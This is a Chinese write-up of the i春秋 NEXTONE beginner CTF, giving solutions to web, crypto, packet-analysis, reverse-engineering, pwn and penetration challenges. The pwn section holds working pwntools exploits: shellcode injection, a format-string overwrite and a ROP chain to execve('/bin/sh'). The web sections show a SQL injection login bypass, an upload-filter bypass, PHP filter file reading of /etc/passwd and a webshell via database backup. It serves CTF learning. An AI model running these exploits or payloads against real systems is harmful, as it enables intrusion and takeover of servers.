i春秋 NEXTONE CTF 入门赛 writeup

基础题

1.1 能看到吗

F12 阅读源码,在js中。

1.2 加密的地址

F12 阅读源码,在注释中。

1.3 洞察力是你取胜的关键

F12阅读源码,并没有发现什么特别的。
特地关注了一下js,其中这一段比较特别。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
eval(function(p, a, c, k, e, r) {
e = function(c) {
return c.toString(a)
};
if (!''.replace(/^/, String)) {
while (c--) r[e(c)] = k[c] || e(c);
k = [function(e) {
return r[e]
}];
e = function() {
return '\\w+'
};
c = 1
};
while (c--) if (k[c]) p = p.replace(new RegExp('\\b' +
e(c) + '\\b', 'g'), k[c]);
return p
} ('c d(){a
("6:2:3:4:0:3:4:1:e:5:b:1:2:0:5:1:0:2:7:7:0:8:5:9:0:f:4:9:8
:3:6:0")}', 16, 16, '61|38|64|39|30|63|32|65|34|33|eval|
62|function|aaa|31|66'.split('|'), 0, {}))

稍微改改放进console运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
myfunc = function(p, a, c, k, e, r) {
e = function(c) {
return c.toString(a)
};
if (!''.replace(/^/, String)) {
while (c--) r[e(c)] = k[c] || e(c);
k = [function(e) {
return r[e]
}];
e = function() {
return '\\w+'
};
c = 1
};
while (c--) if (k[c]) p = p.replace(new RegExp('\\b' +
e(c) + '\\b', 'g'), k[c]);
return p
}
myfunc('c d(){a
("6:2:3:4:0:3:4:1:e:5:b:1:2:0:5:1:0:2:7:7:0:8:5:9:0:f:4:9:8
:3:6:0")}', 16, 16, '61|38|64|39|30|63|32|65|34|33|eval|
62|function|aaa|31|66'.split('|'), 0, {})

得到如下结果

1
2
3
function aaa(){eval
("32:64:39:30:61:39:30:38:31:63:62:38:64:61:63:38:61:64:65:
65:61:34:63:33:61:66:30:33:34:39:32:61")}

a. 直接运行的话并不能发生什么。
b. 尝试以十进制的方式,ASCII解析这组数据,发现出现了控制字符
c. 尝试将十六进制转成十进制,再以ASCII解析

可以获得一组类似md5的序列,将这组MD5解密后,提交明文即可获
得flag。

1.4 外表可是具有欺骗性的

F12阅读源码
发现大量的 hf 之类的字符
将这些字符保存到html文件再用浏览器打开即可获取flag。
或者使用站长工具-Unicode转中文。

1.5 看仔细了

F12阅读源码
发现有一处提示了pass和pass1
因为pass结尾处有=,所以猜测时base64。
将两个字符串解密后提交获取flag。

算法基础

2.1 神奇数

该数一定是一个 十位数
遍历即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# -*- coding:utf-8 -*-
y=100
x = 31622
while y<10000000000:
y = x * x
string_y = str(y)
if '1' in string_y and '2' in string_y and '3' in
string_y and '4' in string_y and '5' in string_y and '6' in
string_y and '7' in string_y and '8' in string_y and '9' in
string_y:
print string_y
print x
break
x+=1
# print x

2.2 找到它

python模拟表单提交

2.3 统计s

每两个数是相乘,其他相加。

1
2
3
4
5
6
7
value = 0
for i in range(1,50):
value = value + 2*i*(2*i+1)
print i
print value + 101

计算机原理

3.1 你会吗

中断码

3.2 二进制范围

20位 无符号整数的范围

0 ~ 2^20-1

3.3 ASCII与二进制

7位

加密解密

4.1 就差一步

凯撒密码
自己写一个脚本跑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
enc_str = 'synt{91o19r02-4so7-45o6-n59o-4rqnp2o1q2nq}'
decrypt = ''
for char in enc_str:
if char == '-' or char == '{' or char == '}':
decrypt = decrypt + char
continue
if ord(char) >= 48 and ord(char) <= 57:
decrypt = decrypt + char
continue
num = ord(char)
num = num - 13
new_char = chr(num)
decrypt = decrypt + new_char
print decrypt

4.2 错误的md5

注意md5的范围 0-9,a-f
并且注意要进行解密

4.3 残缺的base64

base64中不能出现下划线_
在下划线处穷举

4.4 这句话有点意思

ABAAB 培根密码,正体为A,斜体为B

流量分析

5.1 有选择吗?

选择题

5.2 flag呢

1
strings -a 17.pcapng >> out

用ctrl+f 搜索flag
发现某次post的cookie很可疑

1
Says=flag%7B%C4%E3%D7%D4%BC%BA%BF%B4%D7%C5%B0%EC%7D

尝试urldecode(注意是gb2312方式而不是utf-8)
获得

1
flag{你自己看着办}

如果使用wireshark的话,直接跟踪TCP流就行。

另外数据中还有一些误导项比如

1
\Device\NPF_{9CC7FA26-B4D7-42FF-9F1F-93077B8C61E0}

5.3 万中有一

方法同上

1
strings -a 18.pcapng >> out

只是ctrl+f需要多查找几次,准确的说是出现的最后一个flag

1
flag{6c0d68b0-c638-4fb5-a8f5-fdc756daf7e0}

如果使用wireshark的话,
过滤器可以使用 tcp contains flag

5.4 大黑阔

1
strings -a 19.pcap >> out

用wireshark提取文件

文件-导出对象-HTTP

可以提取到一张地图。

过滤器 http
观察很多数据包的data中都没有数据
直接按length 排序

最大的包的 Media Type 右键导出字节流,重命名成map.jpg。
其他数据就是两个人的聊天内容了。

这题是个很考验脑洞的题,跟踪tcp流后,逐个分析流流量包,发现是两个人在聊天。。。。聊天的内容大概是讨论放假去哪里玩,并在其中找到了一张中国地图。先把地图提取出来吧。。
地图上什么都没有。
分析对话,提到了要去王思聪100,百度,了解到是王思聪在昆明建立了第一百个广场。地图移到昆明看看。
隐隐约约看到flag,想办法处理一下图像,根据这个,半猜半蒙的把flag试出来。

逆向破解 Reverse

6.1 Reverse 1

当时做的时候有个bug,直接装上就看到了flag,做题翻了一遍源码啥都没有,忘了截图CTF{Zootopia20160304109}

6.2 Reverse 2

题目逻辑较为简单,首先进行一个表替换,然后修改了程序内存,是的函数sub_402010变换成可以的代码,前面变换时候,只有结果等于0xAFFE390F才算正确

6.3 Reverse 3

APK用jeb打开分析源码,很简单的Android代码。

程序预先保存了一个v4的值,然后与用户输入的v5进行简单的比对,如果相同则正确,否则弹出not right! lol。。。。的Toast。
懒得分析v4到底怎么生成的,直接暴力一点——修改源码

分析知,v9保存的就是flag的值

将等于修改为不等于,并把本来弹出的恭喜您,输入正确!Flag==flag{Key}
改为flag,运行更改后程序结果:
file:///C:\Users\ADMINI~1.USE\AppData\Local\Temp\ksohtml\wpsFC22.tmp.jpg
flag{Qv49CmZB2Df4jB-}

6.4 Reverse 4

题目apk在java层的逻辑较为简单,就是调用了check函数,然而在libCheck库中代码非常混乱,发现在init的时候,调用的修改代码段的代码

漏洞利用 Pwn

7.1

此题一开始连文件都没有,完全懵逼
没有对输入的index限制,导致可以直接到输入的buf中执行shellcode。

题目逻辑很简单,简单的加减乘除运算,漏洞在于选择运算方法的时候没有对index做限制,也就是说,可以控制idnex是的索引到可控制的位置达到控制eip的目的。

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
debug=0
if debug:
p=process('./tc1')
gdb.attach(p)
else:
p=remote('106.75.9.11',20000)
p.recv()
p.sendline('29')
p.recv()
p.sendline(p32(0x804A0A4)+'\xeb\x1b\x5f\x31\xc0\x6a\x53\x6a\x18\x59\x49\x5b\x8a\x04\x0f\xf6\xd3\x30\xd8\x88\x04\x0f\x50\x85\xc9\x75\xef\xeb\x05\xe8\xe0\xff\xff\xff\x1c\x7f\xc5\xf9\xbe\xa3\xe4\xff\xb8\xff\xb2\xf4\x1f\x95\x4e\xfe\x25\x97\x93\x30\xb6\x39\xb2\x2c')
p.interactive()

7.2

简单格式化串利用。

题目逻辑很简单,简单的字符串格式化,但是这里需要首先改变输入的长度,否则太短,从题中可以看出,长度也存在栈中,通过格式化这是很容易的,修改长度后,就能传入511长度的buffer了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
debug=0
if debug:
p=process('./echo')
gdb.attach(p)
else:
p=remote('106.75.9.11',20001)
def send(data):
p.sendline(data)
p.recvuntil("bytes\n")
def splitnum(n,x=0):
assert (x<4)&(x>=0)
return (n&(255<<(x*8)))>>(x*8)
def formatwrite(addr,value,offset):
payload=''
n=[]
for i in xrange(4):
payload+=p32(addr+i)+'junk'
n.append(splitnum(value,i))
payload=payload[:-4]
l=len(payload)
for i in xrange(4):
padnum=n-l
if padnum<1:
padnum+=256
l=n
payload+='%0{}x%{}$hhn'.format(padnum,offset)
offset+=2
return payload
p.recv()
#leak stack first
p.sendline('%5$08x')
d=p.recv(8)
stack=int(d,16)
log.success('stack: '+hex(stack))
p.recv()
#enlarge the buf
send(p32(stack-12)+'%510x%7$n')
log.success('ret: '+hex(stack+0x210))
sc='\xeb\x1b\x5f\x31\xc0\x6a\x53\x6a\x18\x59\x49\x5b\x8a\x04\x0f\xf6\xd3\x30\xd8\x88\x04\x0f\x50\x85\xc9\x75\xef\xeb\x05\xe8\xe0\xff\xff\xff\x1c\x7f\xc5\xf9\xbe\xa3\xe4\xff\xb8\xff\xb2\xf4\x1f\x95\x4e\xfe\x25\x97\x93\x30\xb6\x39\xb2\x2c'
send(formatwrite(stack+0x210,stack+10,7))
#trigger shell!
p.sendline(p32(stack-4)+'%x%7$n'+sc)
p.recv()
p.interactive()

pwn3

一个光秃秃的栈溢出。
使用通用rop,刚开始执行system老出错,换成execve就好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
debug=0
gotwrite=0x601018
gotread=0x601020
def vuln(fun,param1=0,param2=0,param3=0):
if fun=='read':
fun=gotread
elif fun=='write':
fun=gotwrite
rop=0x40062A
p.sendline('c'*72+p64(rop)+p64(0)+p64(1)+p64(fun)+p64(param3) + p64(param2) + p64(param1)+p64(0x400610)+'1'*56+p64(0x40057D))
def leak(addr):
vuln('write',1,addr,8)
data=p.recv(8)
return data
if debug:
p=process('./qwb3')
gdb.attach(p)
else:
p=remote('106.75.8.230',19286)
p.recv()
d = DynELF(leak, elf=ELF('./qwb3'))
exe=d.lookup('execve', 'libc')
log.success('execve:'+hex(exe))
data=0x601038
vuln('read',0,data,17)
p.sendline(p64(exe)+'/bin/sh\x00')
import time
time.sleep(0.2)
vuln(data,data+8,0,0)
p.interactive()

pwn4

完全靠猜,就是爆破。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
import string
flag=''
t=string.printable[:-6]
err=0
for i in xrange(40):
for j in (t):
tmp=flag+j
succ=0
while 1:
try:
p=remote('106.75.8.230','13349')
p.recvuntil(':')
p.sendline('fuck')
p.recvuntil('?')
p.sendline('fuck')
p.recvuntil(':')
p.sendline(tmp)
data=p.recv()
data=p.recv()
if 'Try' in data:
flag=tmp
log.success(flag)
succ=1
p.close()
break
except:
continue
if succ:
break
print flag

Web安全

8.1 整站我也看得到

根据提示,应该是源码打包下载,开始试了几个zip和rar,最后看到提示里的gift才试出来,脑洞题。
http://106.75.8.230:19209/gift.rar

猜测存在gift.rar的路径
下载解压即可获得flag

8.2 登陆

根据提示,应该是有数据库备份文件,然而,我fuzz了一天也没fuzz出来,脑洞题,最后发现是sql.sql
http://106.75.8.230:10211/sql.sql flag在里面

8.3 上传绕过

首先尝试txt,jpg,php,rar,avi,mp3等后缀名,以及类似Php这种的后缀名。
发现只有图片可以上传。

上传 test.Php,并拦截burp包
将 content-type 修改为 image/jpeg

或者 上传 test.jpg,并用burp拦截
将上传包的文件名修改为 test.Php

简单的上传,直接传php发现这样,改一下content-type为image/jpeg,发现提示变了
猜测是通过content-type检测的文件类型,改成图片格式就绕过了,然后显示出错,fuzz一下后缀名
直接fuzz出各种能通过的后缀,大小写什么的直接绕了。

8.4 命令执行

这题看注释得到 user user ,然后登录,发现很像linux控制台,但是很多命令都是deny,纠结了很长时间,后来随手试了一个root的万能密码就以root进去了,然后直接cd cat 拿到flag,最后朋友告诉我这是强网杯还是啥的原题,之前没做过,可惜。
两种方法,一种burp,一种直接改前端限制。

1
root' or '1'='1

渗透测试 penetration

9.1 弹弹弹

手动检测xss存在的最常见语句

1
<script>alert(/xss/)</script>

输入后直接弹flag

9.2 就在其中

一个小插曲
chrome打开乱码,使用QQ浏览器自动选择编码就可以。

提示是4位数字的php

使用burpsuite Intruder
发现只有 1234.php 是200的响应,但访问后并没有任何内容。

尝试用菜刀连接1234.php,并没有成功。

回想到题目说的文件可以被调用会不会存在文件读取呢?尝试在
index.php下进行读取/etc/passwd/试试。

http://106.75.8.230:12866/index.php?file=/etc/passwd

那么已知可以读取,但是未知1234.php存在在哪里,问了下别人,
结果解释道可以尝试用伪协议直接读取base64后的源码,构造了url

http://106.75.8.230:12866/index.php?
file=php://filter/convert.base64-encode/resource=1234.php

http://106.75.8.230:12866/?file=php://filter/read=convert.base64-encode/resource=1234.php

9.3 瞒天过海

session篡改/越权

用burp suite 交互式分析访问的HTTP数据包。
以test用户登录的时候,cookie中会得到一个token。
token=ad0234829205b9033196ba818f7a872b

检索md5明文为test2。

尝试篡改token为admin,admin2,admin1等的md5值,发现admin1可
成功登陆。

9.4 摄影师的家

感觉这还是一个不错的靶站,可以用来练习

AWVS先扫为敬
扫描结果显示还有

http://106.75.20.68/exif.asp?id=3
此处可能存在SQL注入。

测试单引号 和 “or”=”or” ,HTTP均返回500内部服务器错误。
但直接用sqlmap发现可以注入。

使用sql注入获取管理员用户名和密码。

根据AWVS扫描结果,发现后台路径为 admin/login.asp

然后说明如何拿shell,找一个地方上传个图片小马,然后利用数据
库备份,把备份路径换成图片小马的路径,然后备份地址自己自定
义后就可以了。

这题有两种方法,第一种是,前台sql注入,拿到管理员密码,一种是论坛社工拿到管理员密码。之前做过i春秋的挑战营,所以这题刚出来2分钟就秒了。
前台sql注入+后台备份文件getshell+菜刀
连了以后发现flag在C盘根目录,我记不清了。
由于是原题,这题我是第一个撸出来的。
题目现在又被撸坏了,不赘述了。

参考资料

[1] 我把第一次都给你了ctf-1

[2] 不仅有一次,还有第二次之ctf-2

[3] i春秋安全勇士30强诞生赛题解

[4] 腾讯实习挑战赛30强WriteUp

[5] 腾讯实习挑战赛通关writeup(冠军通关策略)